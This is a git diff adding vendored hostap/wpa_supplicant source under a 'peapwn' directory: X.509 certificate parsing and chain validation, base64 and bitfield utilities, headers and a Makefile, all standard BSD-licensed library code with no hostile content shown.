wpa_printf(MSG_MSGDUMP, "X509: subject %s", sbuf); + + /* subjectPublicKeyInfo SubjectPublicKeyInfo */ + if (x509_parse_public_key(pos, end - pos, cert, &pos)) + return -1; + + if (pos == end) + return 0; + + if (cert->version == X509_CERT_V1) + return 0; + + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) { + wpa_printf(MSG_DEBUG, "X509: Expected Context-Specific" + " tag to parse optional tbsCertificate " + "field(s); parsed class %d tag 0x%x", + hdr.class, hdr.tag); + return -1; + } + + if (hdr.tag == 1) { + /* issuerUniqueID [1] IMPLICIT UniqueIdentifier OPTIONAL */ + wpa_printf(MSG_DEBUG, "X509: issuerUniqueID"); + /* TODO: parse UniqueIdentifier ::= BIT STRING */ + + if (hdr.payload + hdr.length == end) + return 0; + + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) { + wpa_printf(MSG_DEBUG, "X509: Expected Context-Specific" + " tag to parse optional tbsCertificate " + "field(s); parsed class %d tag 0x%x", + hdr.class, hdr.tag); + return -1; + } + } + + if (hdr.tag == 2) { + /* subjectUniqueID [2] IMPLICIT UniqueIdentifier OPTIONAL */ + wpa_printf(MSG_DEBUG, "X509: subjectUniqueID"); + /* TODO: parse UniqueIdentifier ::= BIT STRING */ + + if (hdr.payload + hdr.length == end) + return 0; + + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_CONTEXT_SPECIFIC) { + wpa_printf(MSG_DEBUG, "X509: Expected Context-Specific" + " tag to parse optional tbsCertificate " + "field(s); parsed class %d tag 0x%x", + hdr.class, hdr.tag); + return -1; + } + } + + if (hdr.tag != 3) { + wpa_printf(MSG_DEBUG, "X509: Ignored unexpected " + "Context-Specific tag %d in optional " + "tbsCertificate fields", hdr.tag); + return 0; + } + + /* extensions [3] EXPLICIT Extensions OPTIONAL */ + + if (cert->version != X509_CERT_V3) { + wpa_printf(MSG_DEBUG, "X509: X.509%d certificate and " + "Extensions data which are only allowed for " + "version 3", cert->version + 1); + return -1; + } + + if (x509_parse_extensions(cert, hdr.payload, hdr.length) < 0) + return -1; + + pos = hdr.payload + hdr.length; + if (pos < end) { + wpa_hexdump(MSG_DEBUG, + "X509: Ignored extra tbsCertificate data", + pos, end - pos); + } + + return 0; +} + + +static int x509_rsadsi_oid(struct asn1_oid *oid) +{ + return oid->len >= 4 && + oid->oid[0] == 1 /* iso */ && + oid->oid[1] == 2 /* member-body */ && + oid->oid[2] == 840 /* us */ && + oid->oid[3] == 113549 /* rsadsi */; +} + + +static int x509_pkcs_oid(struct asn1_oid *oid) +{ + return oid->len >= 5 && + x509_rsadsi_oid(oid) && + oid->oid[4] == 1 /* pkcs */; +} + + +static int x509_digest_oid(struct asn1_oid *oid) +{ + return oid->len >= 5 && + x509_rsadsi_oid(oid) && + oid->oid[4] == 2 /* digestAlgorithm */; +} + + +static int x509_sha1_oid(struct asn1_oid *oid) +{ + return oid->len == 6 && + oid->oid[0] == 1 /* iso */ && + oid->oid[1] == 3 /* identified-organization */ && + oid->oid[2] == 14 /* oiw */ && + oid->oid[3] == 3 /* secsig */ && + oid->oid[4] == 2 /* algorithms */ && + oid->oid[5] == 26 /* id-sha1 */; +} + + +static int x509_sha256_oid(struct asn1_oid *oid) +{ + return oid->len == 9 && + oid->oid[0] == 2 /* joint-iso-itu-t */ && + oid->oid[1] == 16 /* country */ && + oid->oid[2] == 840 /* us */ && + oid->oid[3] == 1 /* organization */ && + oid->oid[4] == 101 /* gov */ && + oid->oid[5] == 3 /* csor */ && + oid->oid[6] == 4 /* nistAlgorithm */ && + oid->oid[7] == 2 /* hashAlgs */ && + oid->oid[8] == 1 /* sha256 */; +} + + +/** + * x509_certificate_parse - Parse a X.509 certificate in DER format + * @buf: Pointer to the X.509 certificate in DER format + * @len: Buffer length + * Returns: Pointer to the parsed certificate or %NULL on failure + * + * Caller is responsible for freeing the returned certificate by calling + * x509_certificate_free(). + */ +struct x509_certificate * x509_certificate_parse(const u8 *buf, size_t len) +{ + struct asn1_hdr hdr; + const u8 *pos, *end, *hash_start; + struct x509_certificate *cert; + + cert = os_zalloc(sizeof(*cert) + len); + if (cert == NULL) + return NULL; + os_memcpy(cert + 1, buf, len); + cert->cert_start = (u8 *) (cert + 1); + cert->cert_len = len; + + pos = buf; + end = buf + len; + + /* RFC 3280 - X.509 v3 certificate / ASN.1 DER */ + + /* Certificate ::= SEQUENCE */ + if (asn1_get_next(pos, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "X509: Certificate did not start with " + "a valid SEQUENCE - found class %d tag 0x%x", + hdr.class, hdr.tag); + x509_certificate_free(cert); + return NULL; + } + pos = hdr.payload; + + if (pos + hdr.length > end) { + x509_certificate_free(cert); + return NULL; + } + + if (pos + hdr.length < end) { + wpa_hexdump(MSG_MSGDUMP, "X509: Ignoring extra data after DER " + "encoded certificate", + pos + hdr.length, end - pos + hdr.length); + end = pos + hdr.length; + } + + hash_start = pos; + cert->tbs_cert_start = cert->cert_start + (hash_start - buf); + if (x509_parse_tbs_certificate(pos, end - pos, cert, &pos)) { + x509_certificate_free(cert); + return NULL; + } + cert->tbs_cert_len = pos - hash_start; + + /* signatureAlgorithm AlgorithmIdentifier */ + if (x509_parse_algorithm_identifier(pos, end - pos, + &cert->signature_alg, &pos)) { + x509_certificate_free(cert); + return NULL; + } + + /* signatureValue BIT STRING */ + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_BITSTRING) { + wpa_printf(MSG_DEBUG, "X509: Expected BITSTRING " + "(signatureValue) - found class %d tag 0x%x", + hdr.class, hdr.tag); + x509_certificate_free(cert); + return NULL; + } + if (hdr.length < 1) { + x509_certificate_free(cert); + return NULL; + } + pos = hdr.payload; + if (*pos) { + wpa_printf(MSG_DEBUG, "X509: BITSTRING - %d unused bits", + *pos); + /* PKCS #1 v1.5 10.2.1: + * It is an error if the length in bits of the signature S is + * not a multiple of eight. + */ + x509_certificate_free(cert); + return NULL; + } + os_free(cert->sign_value); + cert->sign_value = os_malloc(hdr.length - 1); + if (cert->sign_value == NULL) { + wpa_printf(MSG_DEBUG, "X509: Failed to allocate memory for " + "signatureValue"); + x509_certificate_free(cert); + return NULL; + } + os_memcpy(cert->sign_value, pos + 1, hdr.length - 1); + cert->sign_value_len = hdr.length - 1; + wpa_hexdump(MSG_MSGDUMP, "X509: signature", + cert->sign_value, cert->sign_value_len); + + return cert; +} + + +/** + * x509_certificate_check_signature - Verify certificate signature + * @issuer: Issuer certificate + * @cert: Certificate to be verified + * Returns: 0 if cert has a valid signature that was signed by the issuer, + * -1 if not + */ +int x509_certificate_check_signature(struct x509_certificate *issuer, + struct x509_certificate *cert) +{ + struct crypto_public_key *pk; + u8 *data; + const u8 *pos, *end, *next, *da_end; + size_t data_len; + struct asn1_hdr hdr; + struct asn1_oid oid; + u8 hash[32]; + size_t hash_len; + + if (!x509_pkcs_oid(&cert->signature.oid) || + cert->signature.oid.len != 7 || + cert->signature.oid.oid[5] != 1 /* pkcs-1 */) { + wpa_printf(MSG_DEBUG, "X509: Unrecognized signature " + "algorithm"); + return -1; + } + + pk = crypto_public_key_import(issuer->public_key, + issuer->public_key_len); + if (pk == NULL) + return -1; + + data_len = cert->sign_value_len; + data = os_malloc(data_len); + if (data == NULL) { + crypto_public_key_free(pk); + return -1; + } + + if (crypto_public_key_decrypt_pkcs1(pk, cert->sign_value, + cert->sign_value_len, data, + &data_len) < 0) { + wpa_printf(MSG_DEBUG, "X509: Failed to decrypt signature"); + crypto_public_key_free(pk); + os_free(data); + return -1; + } + crypto_public_key_free(pk); + + wpa_hexdump(MSG_MSGDUMP, "X509: Signature data D", data, data_len); + + /* + * PKCS #1 v1.5, 10.1.2: + * + * DigestInfo ::= SEQUENCE { + * digestAlgorithm DigestAlgorithmIdentifier, + * digest Digest + * } + * + * DigestAlgorithmIdentifier ::= AlgorithmIdentifier + * + * Digest ::= OCTET STRING + * + */ + if (asn1_get_next(data, data_len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " + "(DigestInfo) - found class %d tag 0x%x", + hdr.class, hdr.tag); + os_free(data); + return -1; + } + + pos = hdr.payload; + end = pos + hdr.length; + + /* + * X.509: + * AlgorithmIdentifier ::= SEQUENCE { + * algorithm OBJECT IDENTIFIER, + * parameters ANY DEFINED BY algorithm OPTIONAL + * } + */ + + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " + "(AlgorithmIdentifier) - found class %d tag 0x%x", + hdr.class, hdr.tag); + os_free(data); + return -1; + } + da_end = hdr.payload + hdr.length; + + if (asn1_get_oid(hdr.payload, hdr.length, &oid, &next)) { + wpa_printf(MSG_DEBUG, "X509: Failed to parse digestAlgorithm"); + os_free(data); + return -1; + } + + if (x509_sha1_oid(&oid)) { + if (cert->signature.oid.oid[6] != + 5 /* sha-1WithRSAEncryption */) { + wpa_printf(MSG_DEBUG, "X509: digestAlgorithm SHA1 " + "does not match with certificate " + "signatureAlgorithm (%lu)", + cert->signature.oid.oid[6]); + os_free(data); + return -1; + } + goto skip_digest_oid; + } + + if (x509_sha256_oid(&oid)) { + if (cert->signature.oid.oid[6] != + 11 /* sha2561WithRSAEncryption */) { + wpa_printf(MSG_DEBUG, "X509: digestAlgorithm SHA256 " + "does not match with certificate " + "signatureAlgorithm (%lu)", + cert->signature.oid.oid[6]); + os_free(data); + return -1; + } + goto skip_digest_oid; + } + + if (!x509_digest_oid(&oid)) { + wpa_printf(MSG_DEBUG, "X509: Unrecognized digestAlgorithm"); + os_free(data); + return -1; + } + switch (oid.oid[5]) { + case 5: /* md5 */ + if (cert->signature.oid.oid[6] != 4 /* md5WithRSAEncryption */) + { + wpa_printf(MSG_DEBUG, "X509: digestAlgorithm MD5 does " + "not match with certificate " + "signatureAlgorithm (%lu)", + cert->signature.oid.oid[6]); + os_free(data); + return -1; + } + break; + case 2: /* md2 */ + case 4: /* md4 */ + default: + wpa_printf(MSG_DEBUG, "X509: Unsupported digestAlgorithm " + "(%lu)", oid.oid[5]); + os_free(data); + return -1; + } + +skip_digest_oid: + /* Digest ::= OCTET STRING */ + pos = da_end; + end = data + data_len; + + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_OCTETSTRING) { + wpa_printf(MSG_DEBUG, "X509: Expected OCTETSTRING " + "(Digest) - found class %d tag 0x%x", + hdr.class, hdr.tag); + os_free(data); + return -1; + } + wpa_hexdump(MSG_MSGDUMP, "X509: Decrypted Digest", + hdr.payload, hdr.length); + + switch (cert->signature.oid.oid[6]) { + case 4: /* md5WithRSAEncryption */ + md5_vector(1, &cert->tbs_cert_start, &cert->tbs_cert_len, + hash); + hash_len = 16; + wpa_hexdump(MSG_MSGDUMP, "X509: Certificate hash (MD5)", + hash, hash_len); + break; + case 5: /* sha-1WithRSAEncryption */ + sha1_vector(1, &cert->tbs_cert_start, &cert->tbs_cert_len, + hash); + hash_len = 20; + wpa_hexdump(MSG_MSGDUMP, "X509: Certificate hash (SHA1)", + hash, hash_len); + break; + case 11: /* sha256WithRSAEncryption */ + sha256_vector(1, &cert->tbs_cert_start, &cert->tbs_cert_len, + hash); + hash_len = 32; + wpa_hexdump(MSG_MSGDUMP, "X509: Certificate hash (SHA256)", + hash, hash_len); + break; + case 2: /* md2WithRSAEncryption */ + case 12: /* sha384WithRSAEncryption */ + case 13: /* sha512WithRSAEncryption */ + default: + wpa_printf(MSG_INFO, "X509: Unsupported certificate signature " + "algorithm (%lu)", cert->signature.oid.oid[6]); + os_free(data); + return -1; + } + + if (hdr.length != hash_len || + os_memcmp(hdr.payload, hash, hdr.length) != 0) { + wpa_printf(MSG_INFO, "X509: Certificate Digest does not match " + "with calculated tbsCertificate hash"); + os_free(data); + return -1; + } + + os_free(data); + + wpa_printf(MSG_DEBUG, "X509: Certificate Digest matches with " + "calculated tbsCertificate hash"); + + return 0; +} + + +static int x509_valid_issuer(const struct x509_certificate *cert) +{ + if ((cert->extensions_present & X509_EXT_BASIC_CONSTRAINTS) && + !cert->ca) { + wpa_printf(MSG_DEBUG, "X509: Non-CA certificate used as an " + "issuer"); + return -1; + } + + if (cert->version == X509_CERT_V3 && + !(cert->extensions_present & X509_EXT_BASIC_CONSTRAINTS)) { + wpa_printf(MSG_DEBUG, "X509: v3 CA certificate did not " + "include BasicConstraints extension"); + return -1; + } + + if ((cert->extensions_present & X509_EXT_KEY_USAGE) && + !(cert->key_usage & X509_KEY_USAGE_KEY_CERT_SIGN)) { + wpa_printf(MSG_DEBUG, "X509: Issuer certificate did not have " + "keyCertSign bit in Key Usage"); + return -1; + } + + return 0; +} + + +/** + * x509_certificate_chain_validate - Validate X.509 certificate chain + * @trusted: List of trusted certificates + * @chain: Certificate chain to be validated (first chain must be issued by + * signed by the second certificate in the chain and so on) + * @reason: Buffer for returning failure reason (X509_VALIDATE_*) + * Returns: 0 if chain is valid, -1 if not + */ +int x509_certificate_chain_validate(struct x509_certificate *trusted, + struct x509_certificate *chain, + int *reason, int disable_time_checks) +{ + long unsigned idx; + int chain_trusted = 0; + struct x509_certificate *cert, *trust; + char buf[128]; + struct os_time now; + + *reason = X509_VALIDATE_OK; + + wpa_printf(MSG_DEBUG, "X509: Validate certificate chain"); + os_get_time(&now); + + for (cert = chain, idx = 0; cert; cert = cert->next, idx++) { + x509_name_string(&cert->subject, buf, sizeof(buf)); + wpa_printf(MSG_DEBUG, "X509: %lu: %s", idx, buf); + + if (chain_trusted) + continue; + + if (!disable_time_checks && + ((unsigned long) now.sec < + (unsigned long) cert->not_before || + (unsigned long) now.sec > + (unsigned long) cert->not_after)) { + wpa_printf(MSG_INFO, "X509: Certificate not valid " + "(now=%lu not_before=%lu not_after=%lu)", + now.sec, cert->not_before, cert->not_after); + *reason = X509_VALIDATE_CERTIFICATE_EXPIRED; + return -1; + } + + if (cert->next) { + if (x509_name_compare(&cert->issuer, + &cert->next->subject) != 0) { + wpa_printf(MSG_DEBUG, "X509: Certificate " + "chain issuer name mismatch"); + x509_name_string(&cert->issuer, buf, + sizeof(buf)); + wpa_printf(MSG_DEBUG, "X509: cert issuer: %s", + buf); + x509_name_string(&cert->next->subject, buf, + sizeof(buf)); + wpa_printf(MSG_DEBUG, "X509: next cert " + "subject: %s", buf); + *reason = X509_VALIDATE_CERTIFICATE_UNKNOWN; + return -1; + } + + if (x509_valid_issuer(cert->next) < 0) { + *reason = X509_VALIDATE_BAD_CERTIFICATE; + return -1; + } + + if ((cert->next->extensions_present & + X509_EXT_PATH_LEN_CONSTRAINT) && + idx > cert->next->path_len_constraint) { + wpa_printf(MSG_DEBUG, "X509: pathLenConstraint" + " not met (idx=%lu issuer " + "pathLenConstraint=%lu)", idx, + cert->next->path_len_constraint); + *reason = X509_VALIDATE_BAD_CERTIFICATE; + return -1; + } + + if (x509_certificate_check_signature(cert->next, cert) + < 0) { + wpa_printf(MSG_DEBUG, "X509: Invalid " + "certificate signature within " + "chain"); + *reason = X509_VALIDATE_BAD_CERTIFICATE; + return -1; + } + } + + for (trust = trusted; trust; trust = trust->next) { + if (x509_name_compare(&cert->issuer, &trust->subject) + == 0) + break; + } + + if (trust) { + wpa_printf(MSG_DEBUG, "X509: Found issuer from the " + "list of trusted certificates"); + if (x509_valid_issuer(trust) < 0) { + *reason = X509_VALIDATE_BAD_CERTIFICATE; + return -1; + } + + if (x509_certificate_check_signature(trust, cert) < 0) + { + wpa_printf(MSG_DEBUG, "X509: Invalid " + "certificate signature"); + *reason = X509_VALIDATE_BAD_CERTIFICATE; + return -1; + } + + wpa_printf(MSG_DEBUG, "X509: Trusted certificate " + "found to complete the chain"); + chain_trusted = 1; + } + } + + if (!chain_trusted) { + wpa_printf(MSG_DEBUG, "X509: Did not find any of the issuers " + "from the list of trusted certificates"); + if (trusted) { + *reason = X509_VALIDATE_UNKNOWN_CA; + return -1; + } + wpa_printf(MSG_DEBUG, "X509: Certificate chain validation " + "disabled - ignore unknown CA issue"); + } + + wpa_printf(MSG_DEBUG, "X509: Certificate chain valid"); + + return 0; +} + + +/** + * x509_certificate_get_subject - Get a certificate based on Subject name + * @chain: Certificate chain to search through + * @name: Subject name to search for + * Returns: Pointer to the certificate with the given Subject name or + * %NULL on failure + */ +struct x509_certificate * +x509_certificate_get_subject(struct x509_certificate *chain, + struct x509_name *name) +{ + struct x509_certificate *cert; + + for (cert = chain; cert; cert = cert->next) { + if (x509_name_compare(&cert->subject, name) == 0) + return cert; + } + return NULL; +} + + +/** + * x509_certificate_self_signed - Is the certificate self-signed? + * @cert: Certificate + * Returns: 1 if certificate is self-signed, 0 if not + */ +int x509_certificate_self_signed(struct x509_certificate *cert) +{ + return x509_name_compare(&cert->issuer, &cert->subject) == 0; +} diff --git a/peapwn/mods/hostap/src/tls/x509v3.h b/peapwn/mods/hostap/src/tls/x509v3.h new file mode 100644 index 000000000..91a35baf9 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/x509v3.h @@ -0,0 +1,123 @@ +/* + * X.509v3 certificate parsing and processing + * Copyright (c) 2006-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef X509V3_H +#define X509V3_H + +#include "asn1.h" + +struct x509_algorithm_identifier { + struct asn1_oid oid; +}; + +struct x509_name_attr { + enum x509_name_attr_type { + X509_NAME_ATTR_NOT_USED, + X509_NAME_ATTR_DC, + X509_NAME_ATTR_CN, + X509_NAME_ATTR_C, + X509_NAME_ATTR_L, + X509_NAME_ATTR_ST, + X509_NAME_ATTR_O, + X509_NAME_ATTR_OU + } type; + char *value; +}; + +#define X509_MAX_NAME_ATTRIBUTES 20 + +struct x509_name { + struct x509_name_attr attr[X509_MAX_NAME_ATTRIBUTES]; + size_t num_attr; + char *email; /* emailAddress */ + + /* from alternative name extension */ + char *alt_email; /* rfc822Name */ + char *dns; /* dNSName */ + char *uri; /* uniformResourceIdentifier */ + u8 *ip; /* iPAddress */ + size_t ip_len; /* IPv4: 4, IPv6: 16 */ + struct asn1_oid rid; /* registeredID */ +}; + +struct x509_certificate { + struct x509_certificate *next; + enum { X509_CERT_V1 = 0, X509_CERT_V2 = 1, X509_CERT_V3 = 2 } version; + unsigned long serial_number; + struct x509_algorithm_identifier signature; + struct x509_name issuer; + struct x509_name subject; + os_time_t not_before; + os_time_t not_after; + struct x509_algorithm_identifier public_key_alg; + u8 *public_key; + size_t public_key_len; + struct x509_algorithm_identifier signature_alg; + u8 *sign_value; + size_t sign_value_len; + + /* Extensions */ + unsigned int extensions_present; +#define X509_EXT_BASIC_CONSTRAINTS (1 << 0) +#define X509_EXT_PATH_LEN_CONSTRAINT (1 << 1) +#define X509_EXT_KEY_USAGE (1 << 2) +#define X509_EXT_SUBJECT_ALT_NAME (1 << 3) +#define X509_EXT_ISSUER_ALT_NAME (1 << 4) + + /* BasicConstraints */ + int ca; /* cA */ + unsigned long path_len_constraint; /* pathLenConstraint */ + + /* KeyUsage */ + unsigned long key_usage; +#define X509_KEY_USAGE_DIGITAL_SIGNATURE (1 << 0) +#define X509_KEY_USAGE_NON_REPUDIATION (1 << 1) +#define X509_KEY_USAGE_KEY_ENCIPHERMENT (1 << 2) +#define X509_KEY_USAGE_DATA_ENCIPHERMENT (1 << 3) +#define X509_KEY_USAGE_KEY_AGREEMENT (1 << 4) +#define X509_KEY_USAGE_KEY_CERT_SIGN (1 << 5) +#define X509_KEY_USAGE_CRL_SIGN (1 << 6) +#define X509_KEY_USAGE_ENCIPHER_ONLY (1 << 7) +#define X509_KEY_USAGE_DECIPHER_ONLY (1 << 8) + + /* + * The DER format certificate follows struct x509_certificate. These + * pointers point to that buffer. + */ + const u8 *cert_start; + size_t cert_len; + const u8 *tbs_cert_start; + size_t tbs_cert_len; +}; + +enum { + X509_VALIDATE_OK, + X509_VALIDATE_BAD_CERTIFICATE, + X509_VALIDATE_UNSUPPORTED_CERTIFICATE, + X509_VALIDATE_CERTIFICATE_REVOKED, + X509_VALIDATE_CERTIFICATE_EXPIRED, + X509_VALIDATE_CERTIFICATE_UNKNOWN, + X509_VALIDATE_UNKNOWN_CA +}; + +void x509_certificate_free(struct x509_certificate *cert); +struct x509_certificate * x509_certificate_parse(const u8 *buf, size_t len); +void x509_name_string(struct x509_name *name, char *buf, size_t len); +int x509_name_compare(struct x509_name *a, struct x509_name *b); +void x509_certificate_chain_free(struct x509_certificate *cert); +int x509_certificate_check_signature(struct x509_certificate *issuer, + struct x509_certificate *cert); +int x509_certificate_chain_validate(struct x509_certificate *trusted, + struct x509_certificate *chain, + int *reason, int disable_time_checks); +struct x509_certificate * +x509_certificate_get_subject(struct x509_certificate *chain, + struct x509_name *name); +int x509_certificate_self_signed(struct x509_certificate *cert); + +#endif /* X509V3_H */ diff --git a/peapwn/mods/hostap/src/utils/.gitignore b/peapwn/mods/hostap/src/utils/.gitignore new file mode 100644 index 000000000..833734f88 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/.gitignore @@ -0,0 +1 @@ +libutils.a diff --git a/peapwn/mods/hostap/src/utils/Makefile b/peapwn/mods/hostap/src/utils/Makefile new file mode 100644 index 000000000..8aad813cf --- /dev/null +++ b/peapwn/mods/hostap/src/utils/Makefile @@ -0,0 +1,41 @@ +all: libutils.a + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov libutils.a + +install: + @echo Nothing to be made. + + +include ../lib.rules + +#CFLAGS += -DWPA_TRACE +CFLAGS += -DCONFIG_IPV6 +CFLAGS += -DCONFIG_DEBUG_FILE + +LIB_OBJS= \ + base64.o \ + bitfield.o \ + common.o \ + ip_addr.o \ + radiotap.o \ + trace.o \ + uuid.o \ + wpa_debug.o \ + wpabuf.o + +# Pick correct OS wrapper implementation +LIB_OBJS += os_unix.o + +# Pick correct event loop implementation +LIB_OBJS += eloop.o + +# Pick correct edit implementation +LIB_OBJS += edit.o + +#LIB_OBJS += pcsc_funcs.o + +libutils.a: $(LIB_OBJS) + $(AR) crT $@ $? + +-include $(OBJS:%.o=%.d) diff --git a/peapwn/mods/hostap/src/utils/base64.c b/peapwn/mods/hostap/src/utils/base64.c new file mode 100644 index 000000000..af1307fc4 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/base64.c @@ -0,0 +1,155 @@ +/* + * Base64 encoding/decoding (RFC1341) + * Copyright (c) 2005-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "os.h" +#include "base64.h" + +static const unsigned char base64_table[65] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + +/** + * base64_encode - Base64 encode + * @src: Data to be encoded + * @len: Length of the data to be encoded + * @out_len: Pointer to output length variable, or %NULL if not used + * Returns: Allocated buffer of out_len bytes of encoded data, + * or %NULL on failure + * + * Caller is responsible for freeing the returned buffer. Returned buffer is + * nul terminated to make it easier to use as a C string. The nul terminator is + * not included in out_len. + */ +unsigned char * base64_encode(const unsigned char *src, size_t len, + size_t *out_len) +{ + unsigned char *out, *pos; + const unsigned char *end, *in; + size_t olen; + int line_len; + + olen = len * 4 / 3 + 4; /* 3-byte blocks to 4-byte */ + olen += olen / 72; /* line feeds */ + olen++; /* nul termination */ + if (olen < len) + return NULL; /* integer overflow */ + out = os_malloc(olen); + if (out == NULL) + return NULL; + + end = src + len; + in = src; + pos = out; + line_len = 0; + while (end - in >= 3) { + *pos++ = base64_table[in[0] >> 2]; + *pos++ = base64_table[((in[0] & 0x03) << 4) | (in[1] >> 4)]; + *pos++ = base64_table[((in[1] & 0x0f) << 2) | (in[2] >> 6)]; + *pos++ = base64_table[in[2] & 0x3f]; + in += 3; + line_len += 4; + if (line_len >= 72) { + *pos++ = '\n'; + line_len = 0; + } + } + + if (end - in) { + *pos++ = base64_table[in[0] >> 2]; + if (end - in == 1) { + *pos++ = base64_table[(in[0] & 0x03) << 4]; + *pos++ = '='; + } else { + *pos++ = base64_table[((in[0] & 0x03) << 4) | + (in[1] >> 4)]; + *pos++ = base64_table[(in[1] & 0x0f) << 2]; + } + *pos++ = '='; + line_len += 4; + } + + if (line_len) + *pos++ = '\n'; + + *pos = '\0'; + if (out_len) + *out_len = pos - out; + return out; +} + + +/** + * base64_decode - Base64 decode + * @src: Data to be decoded + * @len: Length of the data to be decoded + * @out_len: Pointer to output length variable + * Returns: Allocated buffer of out_len bytes of decoded data, + * or %NULL on failure + * + * Caller is responsible for freeing the returned buffer. + */ +unsigned char * base64_decode(const unsigned char *src, size_t len, + size_t *out_len) +{ + unsigned char dtable[256], *out, *pos, block[4], tmp; + size_t i, count, olen; + int pad = 0; + + os_memset(dtable, 0x80, 256); + for (i = 0; i < sizeof(base64_table) - 1; i++) + dtable[base64_table[i]] = (unsigned char) i; + dtable['='] = 0; + + count = 0; + for (i = 0; i < len; i++) { + if (dtable[src[i]] != 0x80) + count++; + } + + if (count == 0 || count % 4) + return NULL; + + olen = count / 4 * 3; + pos = out = os_malloc(olen); + if (out == NULL) + return NULL; + + count = 0; + for (i = 0; i < len; i++) { + tmp = dtable[src[i]]; + if (tmp == 0x80) + continue; + + if (src[i] == '=') + pad++; + block[count] = tmp; + count++; + if (count == 4) { + *pos++ = (block[0] << 2) | (block[1] >> 4); + *pos++ = (block[1] << 4) | (block[2] >> 2); + *pos++ = (block[2] << 6) | block[3]; + count = 0; + if (pad) { + if (pad == 1) + pos--; + else if (pad == 2) + pos -= 2; + else { + /* Invalid padding */ + os_free(out); + return NULL; + } + break; + } + } + } + + *out_len = pos - out; + return out; +} diff --git a/peapwn/mods/hostap/src/utils/base64.h b/peapwn/mods/hostap/src/utils/base64.h new file mode 100644 index 000000000..aa21fd0fc --- /dev/null +++ b/peapwn/mods/hostap/src/utils/base64.h @@ -0,0 +1,17 @@ +/* + * Base64 encoding/decoding (RFC1341) + * Copyright (c) 2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef BASE64_H +#define BASE64_H + +unsigned char * base64_encode(const unsigned char *src, size_t len, + size_t *out_len); +unsigned char * base64_decode(const unsigned char *src, size_t len, + size_t *out_len); + +#endif /* BASE64_H */ diff --git a/peapwn/mods/hostap/src/utils/bitfield.c b/peapwn/mods/hostap/src/utils/bitfield.c new file mode 100644 index 000000000..f90e4beb6 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/bitfield.c @@ -0,0 +1,89 @@ +/* + * Bitfield + * Copyright (c) 2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "bitfield.h" + + +struct bitfield { + u8 *bits; + size_t max_bits; +}; + + +struct bitfield * bitfield_alloc(size_t max_bits) +{ + struct bitfield *bf; + + bf = os_zalloc(sizeof(*bf) + (max_bits + 7) / 8); + if (bf == NULL) + return NULL; + bf->bits = (u8 *) (bf + 1); + bf->max_bits = max_bits; + return bf; +} + + +void bitfield_free(struct bitfield *bf) +{ + os_free(bf); +} + + +void bitfield_set(struct bitfield *bf, size_t bit) +{ + if (bit >= bf->max_bits) + return; + bf->bits[bit / 8] |= BIT(bit % 8); +} + + +void bitfield_clear(struct bitfield *bf, size_t bit) +{ + if (bit >= bf->max_bits) + return; + bf->bits[bit / 8] &= ~BIT(bit % 8); +} + + +int bitfield_is_set(struct bitfield *bf, size_t bit) +{ + if (bit >= bf->max_bits) + return 0; + return !!(bf->bits[bit / 8] & BIT(bit % 8)); +} + + +static int first_zero(u8 val) +{ + int i; + for (i = 0; i < 8; i++) { + if (!(val & 0x01)) + return i; + val >>= 1; + } + return -1; +} + + +int bitfield_get_first_zero(struct bitfield *bf) +{ + size_t i; + for (i = 0; i <= (bf->max_bits + 7) / 8; i++) { + if (bf->bits[i] != 0xff) + break; + } + if (i > (bf->max_bits + 7) / 8) + return -1; + i = i * 8 + first_zero(bf->bits[i]); + if (i >= bf->max_bits) + return -1; + return i; +} diff --git a/peapwn/mods/hostap/src/utils/bitfield.h b/peapwn/mods/hostap/src/utils/bitfield.h new file mode 100644 index 000000000..7050a208c --- /dev/null +++ b/peapwn/mods/hostap/src/utils/bitfield.h @@ -0,0 +1,21 @@ +/* + * Bitfield + * Copyright (c) 2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef BITFIELD_H +#define BITFIELD_H + +struct bitfield; + +struct bitfield * bitfield_alloc(size_t max_bits); +void bitfield_free(struct bitfield *bf); +void bitfield_set(struct bitfield *bf, size_t bit); +void bitfield_clear(struct bitfield *bf, size_t bit); +int bitfield_is_set(struct bitfield *bf, size_t bit); +int bitfield_get_first_zero(struct bitfield *bf); + +#endif /* BITFIELD_H */ diff --git a/peapwn/mods/hostap/src/utils/build_config.h b/peapwn/mods/hostap/src/utils/build_config.h new file mode 100644 index 000000000..c6f4e4379 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/build_config.h @@ -0,0 +1,50 @@ +/* + * wpa_supplicant/hostapd - Build time configuration defines + * Copyright (c) 2005-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This header file can be used to define configuration defines that were + * 